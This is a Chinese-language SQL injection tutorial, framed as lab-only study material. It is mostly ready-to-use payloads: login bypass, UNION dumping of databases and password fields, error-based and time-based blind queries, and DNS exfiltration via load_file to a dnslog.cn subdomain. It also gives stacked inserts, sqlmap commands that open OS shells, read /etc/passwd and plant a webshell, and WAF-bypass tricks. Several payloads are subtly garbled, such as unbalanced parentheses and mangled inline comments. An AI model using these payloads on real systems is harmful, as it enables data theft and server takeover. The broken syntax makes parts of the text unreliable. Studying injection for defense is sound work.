声明:本文章仅供学习参考,所有操作展示均在本地搭建的合法合规的靶场环境内完成,不存在任何真实的网络攻击行为,切勿将本文章内的相关技术内容用于未经授权允许的网络攻击,否则后果自负
什么是SQL注入?
SQL注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行SQL查询时插入恶意的SQL代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库。
SQL注⼊说⽩了就是:有⼈在你⽹站的输⼊框(⽐如登录框、搜索框)⾥,不是输正常内容,⽽
是偷偷塞⼀段SQL数据库命令,想骗数据库执⾏,达到偷数据、删数据甚⾄改⽹站的⽬的。
案例
接下来我们通过一个简单的案例来了解sql注入,下面是一个我在本地自己搭建的靶场,是一个登录界面
账号:a
密码:' or '1' ='1
http://localhost/login.php?user=a & pass=' or '1'='1
在后端执行的sql语句相当于
select * from user where username='a' and password='' or '1'='1'
此时结果为真,就会绕过登录界面校验
SQL注入常见类型
Union注入
概念
攻击者通过在Web应用程序的输入字段中注入UNION操作符,将恶意SQL查询与原始查询合并执行,从而获取数据库中的敏感信息。
union查询注⼊是最基础的注⼊。在SQL中,UNION操作符⽤于合并两个或多个SELECT语句的结果。union查询注⼊利⽤UNION关键字,可以追加⼀条或者多条额外的SELECT查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个SELECT语句的结果。
适用条件
(1)网页存在注入点、有回显;
(2)满足union语句要求:union前后两个select的结果集,应具有相同列数,对应列应是相同数据类型。
实操思路
注入点判断
假设我们找到一个要操作数据库的查询路径,更换查询参数id查询到不同数据,即可判断有注入点,id输入为任意字符,发现出错,也是有注入点的
http://域名/{路径}?id=1 http://域名/{路径}?id=2
上面url相当于在后端连接的数据库进行了如下语句
select * from {数据库表} where id={url中的查询参数id的值};
order by 查询回显
使⽤order by能获得当前查询有⼏个字段,为后⾯union注入提供依据
从http://域名/{路径}?id=1 order by 1往后一直尝试直到出现报错,例如当http://域名/{路径}?id=1 order by 6时出现报错,则查询字段为5个。
上面url相当于在后端连接的数据库进行了如下语句
select * from {数据库表} where id=1 order by 6
判断显示位置
http://域名/{路径}?id=-1 order by 1 union select 1,2,3,4,5
如果可以看到2,3,4能正确回显,只要在2,3,4处的位置写注⼊语句
其中id=-1是让正确的语句不要⼲扰注⼊的语句导致union后的语句⽆法显示
上面url相当于在后端连接的数据库进行了如下语句
select * from {数据库表} where id=-1 unionselect1,2,3,4,5
获得数据库名
获取当前网站数据库名
http://域名/{路径}?id=-1 union select 1,2,version(),database()
相当于在后端连接的数据库进行了如下语句
select * from {数据库表} where id=-1 union select 1,2,version(),database()
获取所有数据库名
http://域名/{路径}?id=-1 union select 1,2,version(),(select group_concat(schema_name) from information_schema.schemata)
(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)可以爆出所有数据库名,是因为MySQL 有一个自带的系统数据库 information_schema,里面存着所有数据库、表、字段的元数据,直接查它就能拿到全部库名。
获得数据库表
得到数据库信息后就可以获取对应的表信息
在注入点输入-1 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema='{数据库名}'可以获取对应数据库里的表
获得数据库表中的字段
在注入点输入-1 union select1,2,3,group_concat(column_name) from information_schema.columns where table_name='{数据库表名}' and table_schema='{数据库名}'
可以查看对应数据库下的表中的字段
获得字段的数据
在注入点输入-1 union select1,2,3,concat(name,':',password) from users limit 0,1
拿到对应数据后进行解密(如果有加密),例如MD5 解密通过撞库 / 彩虹表(提前存好大量 原文 → 哈希,查到一样的就返回原文),网上有解密工具
哈希算法(MD5、SHA1、SHA256、bcrypt、Argon2)→ 不可逆,无法解密
对称加密(AES、DES、3DES)→ 可解密,同一个密钥
非对称加密(RSA)→ 可解密,用私钥解
报错型注入
概念
攻击者通过构造恶意SQL语句,利用数据库的错误回显机制获取敏感信息。与盲注不同,这种攻击方式能够直接从数据库返回的错误信息中提取数据。
报错注⼊是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执⾏sql语句,⼀般在union条件不能实施的时候,才考虑报错型注入。
常用报错注入命令
group by重复键冲突
原理概述
(count()+floor()+rand()+group by组合)就是利⽤count()、rand()、floor()、group by这⼏个特定的函数结合在⼀起产⽣的注⼊漏洞。
floor(rand(0)*2) 会生成固定的 0/1 序列,group by 分组时会触发主键重复冲突,MySQL 会把冲突的明文数据直接抛出到页面,实现数据泄露
在注入点输入1 and (select 1 from (select count(*),concat( {查询语句} ,floor(rand(0)*2))x from information_schema.tables group by x)a)
例如注入点为id,则相当于在后端连接的数据库进行了如下语句
select * from {数据库表} where id=1 and (select 1 from(select count(*),conca
t({查询语句},floor(rand(0)*2))x from
information_schema.tables group by x)a)
xpath报错型注⼊
XPath 报错注入主要就是 MySQL 里的两个函数:updatexml 和 extractvalue,利用 XPath 语法错误把查询结果带出来。
updatexml报错型注入
updatexml 是 MySQL 最主流、最简单的报错注入,比 group by 重复键冲突更稳定、写法更短,只要页面有 MySQL 错误回显就能用
在注入点输入and updatexml(1,concat(0x7e,(查询语句),0x7e),1)
0x7e = ~ 符号,用来分隔数据(这个不是固定的),中间放你想查的语句,MySQL 就会把数据当错误抛出来
extractvalue 报错注入
用法和 updatexml 完全一样,只是函数名不同。
and extractvalue(1,concat(0x7e,(查询语句),0x7e))
盲注
布尔盲注
概念
当改变浏览器传给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,⽆法使⽤union联合查询注⼊与报错注⼊,对于这种无回显的情况,这时候可以试试看能否使⽤布尔注⼊
适用条件
⼀般情况下,当带⼊参数为真和假时,⻚⾯会有不同的反映,⽐如有⽆显示也是⼀种不同,布尔盲注就是根据这种不同来反推我们输⼊的条件是真还是假。例如页面没有数据回显,也没有报错信息,但输入 and 1=1 和 and 1=2 时,页面表现明显不同
注入语句
判断数据库名长度
and length(database())=8
常规格式
and ascii(substr({注入语句},1,1))=115
第 1 位 ASCII 是否为 115(即 s)。
延时盲注
概念
无法通过页面内容判断真假时,使用延时函数让数据库休眠,通过响应时间长短判断条件是否成立,逐位爆破数据。这种注入方式式也称延时注⼊、时间注⼊,它在传给后台的参数中,设置了⼀个if语句,当条件为真时执⾏sleep语句,条件为假时⽆执⾏语句,然后根据浏览器的响应时间来推测sleep语句是否被执⾏,进⽽推测if条件是否为真。
到这里我们可以发现延时盲注与布尔盲注的核⼼思想都是通过浏览器两种不同的响应来推测输⼊的条件的真假,一个是页面响应显示不同,另一个是响应时间不同
适用条件
union,报错、布尔等无法实现注入时考虑,效率较低
注入语句
and if({注入语句},1,1))=115,sleep(5),0)
判断注入语句搜索到的结果是否为某一值,可以用ascii(查询语句),或者count计数等来判断是否等于某一数值
DNSlogs盲注
概念
利用数据库发起DNS 解析请求,把查询结果拼接到子域名中,通过 DNS 日志服务器接收并查看数据,实现数据外带。这里需要⽤到load_file函数,就是需要⽤到root⽤户读写⽂件的功能
适用条件
页面完全无回显、无报错、无法延时;目标服务器能出网,可以发起 DNS 请求;数据库支持加载文件 / UNC 路径(高权限常见);拥有一个可接收 DNS 日志的平台(dnslog.cn 等)
注入语句
load_file(concat('\\',查询语句,'.dns域名\test'))
and load_file(concat('\\',{注入语句},'.xxx.dnslog.cn\test'))
也可以写入一些''等语句,写入到某一路径再去访问,可以获取网站信息
二次注入
概念
⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致
的注⼊。攻击者先把注入语句写入数据库(注册、留言、修改资料等),当后台程序读取并拼接这条数据到 SQL 语句时,注入才真正触发。
案例
第一步:注册恶意用户名
用户名:admin'#
密码:123456
这里的用户名可以通过撞库来得到,比如注册时显示某用户名已存在,可以根据此来构建恶意用户名
第二步:触发修改密码
进行用户修改密码操作,会在数据库进行如下语句
update user set password='newpass' where username='admin'#'
这种操作等价于
update user set password='newpass' where username='admin'
此时原本的账户就会被攻击,修改掉原密码
堆叠注入
概念
在SQL数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。这就好比在过门禁时一个人紧跟着进行过身份识别的人一起进入从而跳过了身份验证的环节,与union联合查询注入相比,union执行的语句类型是有限的,而堆叠注入可以执行的是任意的语句,如增删改等。
原理
MySQL、MSSQL 等支持多语句执行,例如输入 1; drop table user; 会被当作两条语句执行。
适用条件
数据库驱动支持多语句执行(如 PHP+mysqlnd 等);未禁用 ; 分号;有 SQL 注入点可拼接语句。
注入语句
假设id处为注入点,在注入点输入语句收集信息
?id=-1 union select 1,2,version(),database()
?id=-1 union select 1,2,version(),group_concat(table_name)
from information_schema.tables
where table_schema='{库名}'
?id=-1 union select 1,2,3,group_concat(column_name) from information_schem
a.columns where table_name='{表名}'and table_schema='{库名}'
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 0,1
构建攻击语句
?id=2;insert into users (name,password) values ('ddd',md5('ddd'));
工具攻击及防御
SQLMap工具
官⽹:sqlmap.org/
sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项,kali系统里也自带该工具。
一般流程就是找注入点、查库、查表、查字段、脱数据
命令
基础检测(判断是否存在注入)
sqlmap -u "xxx.com/?id=1"
-u:指定目标 URL
指定参数注入(最常用)
sqlmap -u "xxx.com/?id=1" -p id
-p:指定测试哪个参数
POST 注入(抓包后用 -r)
Burp 抓包保存为 post.txt
sqlmap -r post.txt
直接暴库(查当前数据库)
sqlmap -u "xxx.com/?id=1" --dbs
--dbs:列出所有数据库
查指定库中的表
sqlmap -u "xxx.com/?id=1" -D 库名 --tables
-D:指定数据库
--tables:列出表
查表中的字段
sqlmap -u "xxx.com/?id=1" -D 库名 -T 表名 --columns
-T:指定表
--columns:列出字段
脱数据(查账号密码)
sqlmap -u "xxx.com/?id=1" -D 库名 -T 表名 -C "username,password" --dump
-C:指定字段
--dump:导出数据
绕安全狗 / WAF
sqlmap -u "xxx.com/?id=1" --tamper=space2comment,randomcase
常用 tamper:
space2comment:空格变 /**/
randomcase:随机大小写
charencode:URL 编码
between:用 between 绕过比较多个用逗号分隔。
延时盲注 / 布尔盲注强制指定
sqlmap -u "xxx.com/?id=1" --technique=B
B:布尔盲注
T:时间盲注
BEUSTQ:全开
加代理(绕过 IP 封禁)
sqlmap -u "xxx.com/?id=1" --proxy=http://127.0.0.1:8080
获取 shell(高危)
sqlmap -u "xxx.com/?id=1" --os-shell
sqlmap -u "xxx.com/?id=1" --sql-shell
读取服务器文件
sqlmap -u "xxx.com/?id=1" --file-read="/etc/passwd"
写入文件
sqlmap -u "xxx.com/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
批量测试
sqlmap -m urls.txt
WAF防御
Web Application Firewall,Web 应用防火墙,工作在 应用层(HTTP/HTTPS),专门防御:SQL 注入、XSS 跨站脚本、文件上传漏洞、命令执行、路径遍历、弱口令爆破等。WAF 本质就是检测请求中是否包含 SQL 恶意特征 → 匹配则拦截 / 告警。
这里拿安全狗waf举例,这个不要安装在自己的物理机,最好在虚拟机里面操作。现在已经开启了sql联合查询的防护
在注入点输入?id=-1 union select 1,2,3,4时被拦截
WAF绕过
以下是一些可能的绕过方式
大小写混合绕过
例:?id=1' UnIon sElEcT 1,2,3
注释符穿插绕过
用 /**/、--、#、%23 把关键字拆开。
例:?id=1' UN//ION SEL//ECT 1,2,3
空格替换绕过
WAF 检测 union select 可能依赖空格,可以把空格换掉
可替代空格的字符:%09 %0a %0b %0c %0d /**/ ()
例:?id=1' union%09select 1,2,3
?id=1' union%0aselect 1,2,3
?id=1' union/**/select 1,2,3
关键字拆分绕过
MySQL 允许引号拼接,WAF 可能无法识别。
例:?id=1' union s'+'el'+'ect 1,2,3
内联注释绕过
/!select/ 会被 MySQL 执行,但 WAF 可能认为是注释
例:?id=1' /!union/ /!select/ 1,2,3
等价函数 / 语法绕过
拦截 sleep() → 用 benchmark();拦截 updatexml → 用 extractvalue;拦截 substr() → 用 mid() / substring()
AND / OR 逻辑绕过
例:?id=1' && 1
?id=1' || 1
?id=1' & 1
?id=1' | 1
HEX 编码绕过
字符串转十六进制
database() → 0x64617461626173652829
二次编码绕过
→ %23 → %2523
空格 → %20 → %2520
' → %27 → %2527